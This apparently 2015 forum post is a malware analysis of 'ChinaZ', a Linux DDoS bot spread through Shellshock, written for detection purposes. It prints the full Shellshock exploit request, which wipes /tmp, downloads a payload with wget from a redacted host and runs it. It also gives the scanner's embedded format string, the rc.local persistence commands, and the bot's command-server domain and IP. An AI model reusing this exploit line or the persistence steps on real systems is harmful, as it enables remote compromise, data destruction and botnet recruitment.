Aerosol Posted January 14, 2015 Report Posted January 14, 2015 The ELF's VT is: https://www.virustotal.com/en/file/92fd1971f7ac512d096821a4bf8553bc13d1c478680999dd2e15400fe8973793/analysis/Out initial draft report: https://pastebin.com/raw.php?i=gf4xrB9nThis threat was detected just recently, via attacks via shellshock:/bin/bash -c \"rm -rf /tmp/*;echo wget http://xxxx:81/9521 -O /tmp/China.Z-gxak\x80 >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-gxak\x80 >>/tmp/Run.sh;echo /tmp/China.Z-gxak\x80 >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\"" "() { :; }; /bin/bash -c \"rm -rf /tmp/*;echo wget http://xxxx:81/9521 -O /tmp/China.Z-gxak\x80 >> /tmp/Run.sh;echo echo By China.Z >>/tmp/Run.sh;echo chmod 777 /tmp/China.Z-gxak\x80 >> /tmp/Run.sh;echo /tmp/China.Z-gxak\x80 >>/tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\""The above request was reported to be generated from Windows version of the shellshock scanner binary with the below trace:VT is: https://www.virustotal.com/en/file/ae677c48a6fdd79129bde3b5321bc4c3cd95c20e63302ad98afadeef64514d5f/analysis/ < noted: LOW detection...rdata:0057D808 aBinBashCRmRfTm db '() { :; }; /bin/bash -c "rm -rf /tmp/*;echo wget %s -O /tmp/China'.rdata:0057D808 ; DATA XREF: StartAddress+124o.rdata:0057D808 db '.Z-%s >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chm'.rdata:0057D808 db 'od 777 /tmp/China.Z-%s >> /tmp/Run.sh;echo /tmp/China.Z-%s >> /tm'.rdata:0057D808 db 'p/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Ru'.rdata:0057D808 db 'n.sh;/tmp/Run.sh"',0The ELF payload was served in a hacked windows system served this ELF with the HFS server:The calls, subs & function name is obfuscated, yet some new uniq typical characteristics can be spotted like below for the detection purpose:registration for the autostart is using /etc/rc.local modification:sed -i -e '/exit/d' /etc/rc.localsed -i -e '2 i//ChinaZ' /etc/rc.localIt hammered SE Linux, using hosts.conf - resolve.conf - and libnss as DNS resolver, and generated the backdoor is as per below, noted: not necessarily using hostname basis.SYSCALL5A, send(3, "cM\1\0\0\1\0\0\0\0\0\0\2aa\5gm352\3com\0\0\1\0\1", 30, MSG_NOSIGNAL)SYSCALL5B, recvfrom(3, "cM\201\200\0\1\0\1\0\5\0\5\2aa\5gm352\3com\0\0\1\0\1\300\f"..., 1024, 0, $PARAMS:{sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("202.238.95.24")}, [16]) SYSCALL5C, connect(3, {sa_family=AF_INET, sin_port=htons(9521), sin_addr=inet_addr("121.12.173.173")}, 16)SYSCALL5D, write(3, "\0\0\0\0Linux2.6.2-4-686-\0\275w\267\0\1\0\0"..., 168) = 168In this particular sample it calls CNC in aa.gm352.com (121.12.173.173:9521) at ASN 58543 | 121.12.168.0/21 | CHINATELECOM-HUNAN-H $ my_lookup aa.gm352.comaa.gm352.com. 300 IN A 121.12.173.173gm352.com. 3600 IN NS ns4.he.net.gm352.com. 3600 IN NS ns3.he.net.gm352.com. 3600 IN NS ns2.he.net.gm352.com. 3600 IN NS ns1.he.net.gm352.com. 3600 IN NS ns5.he.net.$ mycnccheck 121.12.173.173:9521Connection to 121.12.173.173 9521 port [tcp/*] succeeded!IPv4 TCP MMD.KickUR.ASS:36555->121.12.173.173:9521 (ESTABLISHED)Due to the unique new infection pair shellshock (scanner-payload), new functions & new signature used, we consider this is a new China DDOSer variant: "ChinaZ"9521.7zPass: infectedSource Quote